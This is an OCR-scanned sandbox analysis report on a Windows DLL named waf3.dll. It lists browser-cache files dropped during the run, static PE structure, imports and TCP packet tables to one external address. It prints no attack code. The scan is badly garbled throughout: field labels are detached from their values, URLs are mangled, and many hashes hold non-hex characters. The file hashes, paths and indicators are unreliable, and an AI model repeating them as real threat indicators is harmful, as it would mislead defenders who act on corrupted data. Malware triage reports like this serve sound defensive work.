C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

downloaded

84249

5.369991369254365

false
1536:DPEKjP+iADIOr/NEe876nmBu3HvF38NdTuJO1z6/A4TqAubOR4ULvguEhjzXpa9r:oNM2Jiz60AFKP5a98HrY
9A094379D98C6458D480AD5A51C4AA27

3FE9DBACAAEC99FCBA3FOE9OED66D5057DA2DEAE
B2CE8462D173FC92B60F98701F45443710E423AF1B11525A762008FF2C1A0204

4BBB1CCB1C9712ACE14220D79A16CAD01B56A4175A0DD837A90CA4D6EC262EBFOFC20E6FA1E19DB593F3D593DDD90CFDFFE492EF17A356A1756F27F903768B
50

false

hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquery-2.1.1.min.js

/*1'jQuery v2.1.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */..!lfunction(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports
=a.document?b(a,!0):function(a){if('a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:
this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={} I=a.document,m="2.1.1",n=function(a,b){return new n.fn.ini
t(a,b)},0=/"[\s\UFEFF\XAQ]+|[\s\uFEFF\xAQ]+$/g,p=/"-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"" len
gth:0,toArray:function(){return d.call(this)},get:function(a){return null'=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a)
;return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,funct

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\nrrV2159[1].js

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Program Files (x86)\Internet Explorer\iexplore.exe
ASCII text, with very long lines, with no line terminators
dropped

88162

5.422694298081845

false

1536:DVNCuukXGsQihGZFu94xdV2E4535nJyOukWaaSUFP+i/TX6Y +j4/fhAFTZae:DQiYpdVG7tulLKY +fjwQ
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\nrrV2159[1].js

MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

B31D09A47ECA2B794BA76E5F10EA9B87
8B07590D05F96CFAOE4C7FC4A26FDBE13C335D5C
781A8987B51F092CE793E43BAB546916F3A170B5E0218FAABSAA7CCF4E0867C6

003FA42B25C30F1B673BB7BOBFCO0EBD022A8F503421E571774E687B2E50248120E2C3EC750EC273734B695EA1BAF705B8065751D231F03EE29BAD3C03CCA6GD
B

false

var _mNRequire,_mNDefine;!function(){"use strict";var c={},u={};function a(e){return“function"==typeof e}_mNRequire=function e(t,r){var n,i,o=[];for(i in t)t.hasOwnProper
ty(i)&&("object"I=typeof(n=t[i])&&void 0!==n?(void 0!==c[n]||(c[n]=e(u[n].deps,u[n].callback)),o.push(c[n])):0.push(n));return a(r)?r.apply(this,0):0},_mNDefine=function(e,t,r)
{if(a(t)&&(r=t,t=[]),void 0===(n=e)||""===n||null===n||(n=t,"[object Array]"!==0Object.prototype.toString.call(n))||!a(r))return!1;var n;u[e]={deps:t,callback:r}}}();_mNDefine
("modulefactory”,[],function(){"use strict";var r={},e={},0={},i={},n={},t={},a={};function c(r){var e=!0,0={};try{o=_mNRequire([r])[0]}catch(r){e=!1}return o.isResolved=function()
{return e},o}return r=c("conversionpixelcontroller"),e=c("browserhinter"),o=c("kwdClickTargetModifier"),i=c("hover"),n=c("mraidDelayedLogging"),t=c("macrokeywor
ds"),a=c("tcfdatamanager"),{conversionPixelController:r,browserHinter:e,hover:i,keywordClick TargetModifier:o,mraidDelayedLogging:n,macroKeyw

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\otFlat[1].json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

downloaded

12588

5.376121346695897

false
192:RtmLMzybpgtNs5YdGgDaRBYw6Q3gRUJ+g5iwJILd+IJmMgEb5SmfPPenUpoQuQJ/Qq:Rgl14jbK3e85csXf+oHBIAHYP1IMJIAk
AF6480CC2AD894E536028F3FDB3633D7

EA42290413E2E9E0B2647284C4BC03742C9F9048
CA4F7CEOB724E12425B84184E4F5B554F10F642EE7C4BE4D58468D8DED312183
A970B401FE569BF10288E1BCDAA1AF163E827258EDOD7C60E25E2D095C6A5363ECAE37505316CF22716D02C180CB13995FA808000A5BD462252F872197F4CE9E
false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/assets/otFlat.json

{. "name": "otFlat",.. "html": "PGRpdiBpZD0ib25ldHJ1c3QtYmFubmVyLXNkaylgY2xhc3MIIm90RmxhdCl+PGRpdiBjbGFzcz0ib3Qtc2R
rLWvanRhaWSIcn+PGdelBJbGcmzOlethZRrLXJvdyI+PGde|BpZDO|b25IdHJ1c3QtZSJvdXAtY29udGprmVyI|B]bGcmzOlethZRrLWVpZZhOIGQOLXNka
y1jb2x1bW5z1j48ZGI2IGNsYXNzPSJiYW5uzZXJfbG9nbyl+PC9kaXY+PGRpdiBpZD0ib25/dHJ1c3QtcG9saWN51j48aDMgaWQ9Im9uZXRydXNOLXBvbGljeS10aXRsZSI
+VGhpcyBzaXRIIHVzZXMgY29va2llczwvaDM+PCEtLSBNb2JpbGUgQ2xvc2UgQnV0dG9ul COtPjxkaXYgaWQ9Im9uZXRydXNOLWNsh3NILWJO0biljb250YWIuZXItbW9ia
WxliBjbGFzcz0ib3QtaGlkZS1sYXJInZSI+PGJ1dHRVbiBjbGFzcz0ib25ldHJI1c3QtY 2xve2UtY nRULWhhbmRsZXIgb25ldHJ1c3QtY 2xvc2UtY nRuLXVplGJhbm5icil
jbG9zZS1idXR0b24gh3QthW9iaWxIIGIOLWNsbh3NILWIjb24ilGFyaWEtbGFiZWw9lkNsb3NIIEJhbm5IcilgdGFiaw5kZ Xg9ljAiPjwvYnVOdGOuPjwvZGI2PjwhLSOgT
W9iaWXxIIENsb3NIIEJ1dHRVbiBFTKQtLT48cCBpZD0ib251dHJ1c3QtcG9saWN5LXRIeHQIiPIdIIHVzZ SBjb29rawVzIHRVIGItcHIvdmUgeW91ciBleHBlcmllbmNILCB
ObyByZW1IbWJIciBsb2ctaW4gZGVOYWIscywgcHIvdmlkZSBzZWN1cmUghG9

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\otPcCenter[1].json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

downloaded

46394

5.58113620851811

false
384:0j+X+jzgBCL2RAAaRKXWSUB8zVrX0eQna4lwFpWgeObRApQZInjatWLGuD3eWrwAs:4zgEFAIXWeNelpW4lzZInuWjlHoQthl
145CAF593D1A355E3ECD5450B51B1527

18F98698FC79BA278C4853D0DF2AEEB0F61E15A2
0914915E9870A4ED422DB68057A450DF6923A0FA824B1BE11ACA75C99C2DA9C2
D02D8D4F9C894ADABBAOB476D223653F69273B6A8B0476980CD567B7D7C217495401326B14FCBE632DA67C0CB897C158AFCB7125179728A6B679B5F81CADEB!
false

hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/scripttemplates/6.4.0/assets/v2/otPcCenter.json

{. "name": "otPcCenter", "html": "PGRpdiBpZD0ib25IdHJ1c3QtcGMtc2RrliBjbGFzcz0ib3RQYONIbnRIciBvdC1loaWRIIGI90LWZhZGUta
W4|IGFyaWEthQkYWWQInRydWUlIHvaGU9ImeYvaZngYXJpYSleWJIbeIZGJSPSJdeleleaXRsZSI+PCEtLSBDbGQzZSBCdXR0b24gLSO+PGde
iBjbGFzcz0ib3QtcGMtaGVhZGVylj48IS0tIExvZ28gVGFnICOtPjxkaXYgY 2xhc3M9Im9OLXBjLWxvZ28ilHIvbGU9ImItZylgY XJIpY S1sYWJIbD0iQ29tcGFueSBMb2d
VIj48L2Rpdj48YnV0dGOuIGIKPSJjbhG9zZS1wYylidG4AtaGFuZGxicilgY 2xhc3MIIM9OLWNsh3NILWIjb24ilGFyaWEthGFiZWw9lkNsb3NIIj48L2J1dHRvVbj48L2Rpdj48ISOtIEN
sh3NIIEJ1dHRVDIAtLT48ZGI2IGIKPSIvdC1wYy1jh250ZW50I1iBjbGFzcz0ib3QtcGMtc2Nyb2xsY mFylj48aDMgaWQ9Im90LXBjLXRpdGxI1j5Zb3VyIFByaXZhY3k8L
2gzPjxkaXYgawQ9Im90LXBjLWRIc2MiPjwvZGI2PjxidXR0Ob24gaWQ9ImFjY2VwdC1yZWNvbW1lIbmRIZC1idG4taGFuZGxIcil+QWxsh3cgY WxsPC9idXR0b24+PHNIY3R
pb24gY2xhc3M9Im90LXNkaylyb3cgb3QtY2FOLWdycCl+PGgzIGIkPSJIvdC1jYXRIZ29ye S10aXRsZSI+TWFuYWdIIENvb2tpZSBQcmVmZXJlbmNIczwvaDM+PGRpdiBjb
GFzcz0ib3QtcGxpLWhkcil+PHNwYW4gY 2xhc3M9IIm90LWxpLXRpdGxlIj5Db25zZW50PC9

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8120L411598379712263-265[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 207x240, frames 3
downloaded

43566

7.973521466400906

false

768:rzN/7Mvpicl+8HcKereRasPaQCCnB98RmgQkhS+U9Log8AfoL6 TWoc:/NjMvYZ+8cKeMaPOnQRmgvioL V{2
11662980D77E664A2BAA14AFCOFAF72D
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8120L411598379712263-265[1].jpg

SHAL:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

F1D3C5AA4F0B4A0F819396B4BD2AD5F2214187FA
E0692402CC3E8DCCO8E2CF23C83E4B21495E2E1CFF7853871EC58EAA4853F949

0756A83E59C8988733C583B4BBDE2FB1CDD2B37026F905ACCCBCADS8BB9997EC83828D2CA062BC779CAC30E4C638641BF44BF6407A8E3FD96030C290FD773F
7

false

hitp://https://s.yimg.com/lo/api/res/1.2/9P.Ct.9zhth2jrAA.dI0Vg--~A/Zmk9ZmIsbDt3PTIwNztoPTIOMTthcHBpZD1nZW1pbmk7cTOXMDA-
/https://s.yimg.com/av/ads/1598379712263-265.jpg

#2Q.Ba..$%30.b46CR....

2t > h 7 (L kS.@..977
.KBO.y.}.S."..c.U.BT..6...T.d..p.A.v.*Gh/. 8|>T .q.v>eB.. [9 . . ..nW....21. }#. +_.U.. ..b..O...C.. B..r...w...c..>4.8n..|..
k2.l d=VEC<ALR. L. Try.d.._Q.Hb..KH~..H.5?$.N.".}4.h.C(./...ZW;...W}.n.P;v...pt..e..mJcBs.C.R3.Kc LAT01).GLV.N%.H)\.9.[$..Z..1 . uO UE .
i.7...%.U|L...G..H...o.Y..+X.a$* NW&.#.K..@..s..C.'G?..f[.b.l.g.a.1.[.h.ljeo.{Hv.q.W..7..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8120L411614600020004-5635[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 207x240, frames 3
downloaded

25519

7.964071201216542

false

768:0ycOQ6NGX40AfWAeQgaR2afBISNISbE4v:PcB6wWXxAf2LrafBlyA

B1B3F91D723417220ED350958E830FFB

E66F5F56B16F7F07BC5615A1904D724DOAEBOEAO
7E1E572CEAAD7EEB482AB5C13127E030CCFF19F9BABAECB321COF19B5EC4ES64
83861DA444F0F496D3328250EE9A681427F7F22374A69407AB2BEE87A320CFF709FD52BFC4296C6C6E09066A14A7622A2E03B1D956AB2964155D141DFF1D02ED

false

hitp://https://s.yimg.com/lo/api/res/1.2/rEOFnLuyP8tx_n4ki4fI3A--~A/Zmk9ZmlIsbDt3PTIwNztoPTIOMTthcHBpZD1nZW1pbmk7cTOXMDA-
Ihttps://s.yimg.com/av/ads/1614600020004-5635.jpg

. LWL1MAQTa...... #DbQ....2BR...$3..%4....
.C.O0...]_T?.. ><><—.../...5>&..I....S...m WX....>...w.~.P. . O~#..]_T?e. C.R.z.7.........S.
T2 .xx=.0..5>&.1....S..m . Wx....> L w.~P.. M. L]~ O] T2 .CLR.Z.7. LS,
T2 xx=0 0. 5>& LS mL WL > we~ P M...L|.~.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8120L414996b9[1].woff

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Web Open Font Format, TrueType, length 45633, version 1.0

downloaded

45633

6.523183274214988

false
768:GiE2wcDeO5t68PKACTgVEWZfaDDXLQO+nSECIr1X/7BXq/SHOCI7dA7Q/BOWKAfO:82/DeO5M8PKASCZSvxQO0+TCPXtUSHF7¢
A92232F513DC07C229DDFA3DE4979FBA

EB6E465AE947709D5215269076F99766B53AE3D1
FA477B53BF5E6E10FA78C41DEAF32FA4D78A657D7B2EFE85B35C06886C7191BB9
32A33CCID6F2F1C962174F6CC636053A4BFA29A287AF72B2E2825D8FA6336850C902AB3F4C07FB4BF0158353EBBD36C0D367A5E35809840D70B90B93DB2AE32

false

hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/ea/4996b9.woff

............ 3Bl HL @0 U
Ad\d..dedZdb.d4d=dY.d.cd]db.dldb.dfd_.d"d.(dbd"db.db.d.d.d_d._.d.d.dP.d0.db.db.dP.dudcdnd._dq.d_.dddb.d_.d._.d.
bdadbdadbd d..d”rdAd dfd...d.d$.dpd..d.d"d._dTd..db.db.dbdiddd..d..d.d7d"dX.d]d).dlLdldb.db.d.,.d.,db.db.d.d.d.d7db.d.1
d.b.d.b.d..d..d.d..d.dAd.d.d.(d" .d...d...d.’\.d.r.d.f.d.,.d.b.d...d.b.d._.d.q.d...d...d.b.d.b.d.b.d.b.d...d.r.d.I.d._.d.b.d.b.d.b.d.V.d.Z.d.b.d

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8120L4\755f86[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced

downloaded

390

7.173321974089694

false
6:6V/IhPZ/SIKR7+RGjVjKM4H56h6269eG3AXGXQm+cISWADBOwWIaqOTp:6v/71IKR7ZjKHHIr8GXxQJcISwyOW9
D43625E0C97B3D1E78B90C664EF38ACT

27807FBFB316CF79C4293DF6BC3B3DE7F3CFC896
EF651D3C65005CEE34513EBD2CD420B16D45F2611E9818738FDEBF33D1DA7246

F2D153F11DC523E5F031B9AA16AA0AB1ICCABBB7267E8BFAFFECFBA333E1F42A044654762404AA135BD50BC7C01826AFA9B7B6F28C24FD797C4F609823FA457E
1
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8120L4\755f86[1].png

Malicious:
|IE Cache URL:

Preview:

false

hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png

.0 ...C.F__x2...72.y..s1m2..1011102.F.(
....0....v..n.bd...9.<.Z.10..... T.A..&...

....Wplqqg...6mbD..H....=.bt.....
JIEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\WJ8120L419327884[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

[TIFF image data, big-endian, direntries=2, orientation=upper-left], progressive, precision 8, 1200x627, frames 3
downloaded

65066

7.878333889668236

false

1536:gyPQaFEELQ3bCAuyTIDKKEikSyK9slzpApF27hwIE:BP8eQLApbGSyuBApFcG
19788FF28642C8050815323D955C24A4

BC6376A7271354FBEC53ED89ED58961C437E1D3E
D151CE33884BF3BDA50846054BB575BF04D0B2ESE28E472CBD3CB53E6897F8F6

FED86AB7FE7D595124C4ACFE94C41B16194B2690A6BB87A93B46C66BE79B9215B87C3467DBE400F1BE45BOA1E3AF362B03C4BF8AB2F6C9797D1F3F97FC0613!1
6

false

hitp://https://s1.adform.net/Banners/Elements/Files/2066586/9327884.jpg?bv=1

e JFIFLCHHL U XEXIE MM (I &....
........ s.......1."..AQ2.ag#.. .B..R3.$b0..r.C.4...S@%¢c.5.s.PD...&T6d.t."...p.'E7e.Uu.....
1A..0"2Q.@.3#aB.qR4.P$..C...b5S..9%".D.r...c6p&ET.'

. .C
.m.m.m.m.m.m.m.m.m.m.m.m..

cm.m.m.m...m[m[m[i...m..
L&.mmm.m.i.-4. l.mmmmmm...V.V.V.Gm...hm.m.m.i[m...V.V.V.V.Gm....... jem...4..... LV.vV

Static File Info

General

File type:

Entropy (8bit):
TriID:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

PE32+ executable (DLL) (native) x86-64, for MS Win
dows

5.988165444848613

e Win64 Dynamic Link Library (generic) (102004/3)
86.43%

Win64 Device Driver (generic) (12004/3) 10.17%
Generic Win/DOS Executable (2004/3) 1.70%
DOS Executable Generic (2002/1) 1.70%
Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.01%

waf3.dll

e o o o

157784
b9bed9be452140bff86eabddefee7d3a
586652a68363b9c559c6bcd232fal5bc4f52e2d6

20a196b102d578c0a786df804eebcc3b2ab2cee885df81€
cd7499f779a83ef59

f7b9ae068b19bf363997bcc56679e75de1944b4b84d156:
166bf0d7f5a908cdedalee51a990a05ddcdb9d965e22cef
8a4f279cabdcb2217f05b9e29e4fe37cdb

3072:WzC1M2cApLzwOaamD0JZ6ydJpDSs/wACk+:3D
pD+

74f0edecccdceOed

Static PE Info

General
Entrypoint:

0x180000000
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General
Entrypoint Section:

Digitally signed: false

Imagebase: 0x180000000

Subsystem: native

Image File Characteristics: EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
DLL Characteristics: DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA
Time Stamp: 0x604757A1 [Tue Mar 9 11:10:25 2021 UTC]

TLS Callbacks:
CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 2

File Version Major: 5

File Version Minor: 2

Subsystem Version Major: 5

Subsystem Version Minor: 2

Import Hash: 015f7aaddd9f464d8fe721bf20f7b501

Entrypoint Preview

Instruction

dec ebp

pop edx

nop

add byte ptr [ebx], al

add byte ptr [eax], al

add byte ptr [eax+eax], al

add byte ptr [eax], al

Data Directories

Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_EXPORT 0x1e2b0 Ox4c .rdata

IMAGE_DIRECTORY_ENTRY_IMPORT Oxle2fc 0x3c .rdata

IMAGE_DIRECTORY_ENTRY_RESOURCE 0x0 0x0

IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x29000 Oxa8 .pdata

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0 0x0

IMAGE_DIRECTORY_ENTRY_DEBUG 0x1e070 Oxlc .rdata

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x1e000 0x60 .rdata

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Sections

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x1c898 0Ox1ca00 False 0.121400791485 data 5.81084430761 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.rdata 0x1e000 0x434 0x600 False 0.386067708333 data 3.67992985475 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

.data 0x1f000 0x9050 0x9200 False 0.611461900685 data 5.07531889222 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

.pdata 0x29000 Oxa8 0x200 False 0.2734375 data 1.74389786637 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Imports

DLL Import

KERNEL32.dll GetCurrentProcessld, GetCurrentThreadld, Sleep

USER32.dll SendMessageA, SetTimer, KillTimer, GetClientRect, MessageBoxA, GetClassNameA
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Exports

Name

DlIRegisterServer

Network Behavior

Network Port Distribution

TCP Packets

Timestamp

Mar 10, 2021 05:52:57.895720005 CET
Mar 10, 2021 05:52:57.939348936 CET
Mar 10, 2021 05:52:57.939497948 CET
Mar 10, 2021 05:52:57.945633888 CET
Mar 10, 2021 05:52:57.991966009 CET
Mar 10, 2021 05:52:57.992033958 CET
Mar 10, 2021 05:52:57.992077112 CET
Mar 10, 2021 05:52:57.992115021 CET
Mar 10, 2021 05:52:57.992146015 CET
Mar 10, 2021 05:52:57.992185116 CET
Mar 10, 2021 05:52:57.992247105 CET
Mar 10, 2021 05:52:57.992409945 CET
Mar 10, 2021 05:52:57.998574018 CET
Mar 10, 2021 05:52:58.043847084 CET
Mar 10, 2021 05:52:58.043903112 CET
Mar 10, 2021 05:52:58.087394953 CET
Mar 10, 2021 05:52:58.126671076 CET
Mar 10, 2021 05:52:58.170263052 CET
Mar 10, 2021 05:52:58.293489933 CET
Mar 10, 2021 05:52:58.293541908 CET
Mar 10, 2021 05:52:58.293582916 CET
Mar 10, 2021 05:52:58.293626070 CET
Mar 10, 2021 05:52:58.293658018 CET
Mar 10, 2021 05:52:58.293725014 CET
Mar 10, 2021 05:52:58.294713974 CET
Mar 10, 2021 05:52:58.294778109 CET
Mar 10, 2021 05:52:58.294852018 CET
Mar 10, 2021 05:52:58.295816898 CET
Mar 10, 2021 05:52:58.298275948 CET
Mar 10, 2021 05:52:58.337402105 CET
Mar 10, 2021 05:52:58.340961933 CET
Mar 10, 2021 05:52:58.341098070 CET
Mar 10, 2021 05:52:58.348563910 CET

Copyright Joe Security LLC 2021

Ordinal
1

Total Packets: 79

® 53 (DNS)
@ 443 (HTTPS)

Source Port
49701
443
49701
49701
443
443
443
443
49701
443
49701
443
49701
443
443
49701
49701
443
443
443
443
49701
443
49701
443
443
49701
443
49702
49701
443
49702
49702

Dest Port
443
49701
443
443
49701
49701
49701
49701
443
49701
443
49701
443
49701
49701
443
443
49701
49701
49701
49701
443
49701
443
49701
49701
443
49701
443
443
49702
443
443

Address
0x180007ce8

Source IP
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
143.204.3.74
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
192.168.2.3
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
143.204.3.74
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3

Dest IP
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
192.168.2.3
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
143.204.3.74
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
192.168.2.3
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
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Timestamp

Mar 10, 2021 05:52:58.391062975 CET
Mar 10, 2021 05:52:58.391120911 CET
Mar 10, 2021 05:52:58.391160965 CET
Mar 10, 2021 05:52:58.391199112 CET
Mar 10, 2021 05:52:58.391237020 CET
Mar 10, 2021 05:52:58.391236067 CET
Mar 10, 2021 05:52:58.391289949 CET
Mar 10, 2021 05:52:58.392966032 CET
Mar 10, 2021 05:52:58.393752098 CET
Mar 10, 2021 05:52:58.393806934 CET
Mar 10, 2021 05:52:58.393898010 CET
Mar 10, 2021 05:52:58.394387007 CET
Mar 10, 2021 05:52:58.394429922 CET
Mar 10, 2021 05:52:58.394444942 CET
Mar 10, 2021 05:52:58.394491911 CET
Mar 10, 2021 05:52:58.395612001 CET
Mar 10, 2021 05:52:58.395653009 CET
Mar 10, 2021 05:52:58.395714998 CET
Mar 10, 2021 05:52:58.396924019 CET
Mar 10, 2021 05:52:58.396961927 CET
Mar 10, 2021 05:52:58.397033930 CET
Mar 10, 2021 05:52:58.398041010 CET
Mar 10, 2021 05:52:58.398080111 CET
Mar 10, 2021 05:52:58.398144960 CET
Mar 10, 2021 05:52:58.399260044 CET
Mar 10, 2021 05:52:58.436851025 CET
Mar 10, 2021 05:52:58.437005997 CET
Mar 10, 2021 05:52:58.446758986 CET
Mar 10, 2021 05:52:58.478055000 CET
Mar 10, 2021 05:52:58.488343954 CET
Mar 10, 2021 05:52:58.488396883 CET
Mar 10, 2021 05:52:58.488476992 CET
Mar 10, 2021 05:52:58.488871098 CET
Mar 10, 2021 05:52:58.488912106 CET
Mar 10, 2021 05:52:58.488969088 CET
Mar 10, 2021 05:52:58.490089893 CET
Mar 10, 2021 05:52:58.490125895 CET
Mar 10, 2021 05:52:58.490185976 CET
Mar 10, 2021 05:52:58.490911007 CET
Mar 10, 2021 05:52:58.490952969 CET
Mar 10, 2021 05:52:58.491004944 CET
Mar 10, 2021 05:52:58.492175102 CET
Mar 10, 2021 05:52:58.492217064 CET
Mar 10, 2021 05:52:58.492273092 CET
Mar 10, 2021 05:52:58.493380070 CET
Mar 10, 2021 05:52:58.493453026 CET
Mar 10, 2021 05:52:58.493510008 CET
Mar 10, 2021 05:52:58.494680882 CET
Mar 10, 2021 05:52:58.494721889 CET
Mar 10, 2021 05:52:58.494775057 CET
Mar 10, 2021 05:52:58.495953083 CET
Mar 10, 2021 05:52:58.495995045 CET
Mar 10, 2021 05:52:58.496049881 CET
Mar 10, 2021 05:52:58.497179031 CET
Mar 10, 2021 05:52:58.540539980 CET
Mar 10, 2021 05:52:58.543585062 CET
Mar 10, 2021 05:52:58.586014986 CET
Mar 10, 2021 05:52:58.586071014 CET
Mar 10, 2021 05:52:58.586113930 CET
Mar 10, 2021 05:52:58.586143017 CET
Mar 10, 2021 05:52:58.586518049 CET
Mar 10, 2021 05:52:58.586558104 CET
Mar 10, 2021 05:52:58.586623907 CET
Mar 10, 2021 05:52:58.587768078 CET
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Source Port
443
443
443
443
443
49702
49702
443
443
443
49701
443
443
49702
49701
443
443
49701
443
443
49701
443
443
49701
443
443
443
49701
49702
443
443
49701
443
443
49701
443
443
49701
443
443
49701
443
443
49701
443
443
49701
443
443
49701
443
443
49701
443
49701
49702
443
443
443
49701
443
443
49701
443

Dest Port
49702
49702
49702
49702
49702
443
443
49702
49701
49701
443
49701
49701
443
443
49701
49701
443
49701
49701
443
49701
49701
443
49701
49702
49702
443
443
49701
49701
443
49701
49701
443
49701
49701
443
49701
49701
443
49701
49701
443
49701
49701
443
49701
49701
443
49701
49701
443
49701
443
443
49701
49701
49702
443
49701
49701
443
49701

Source IP
143.204.3.74
143.204.3.74
143.204.3.74
143.204.3.74
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
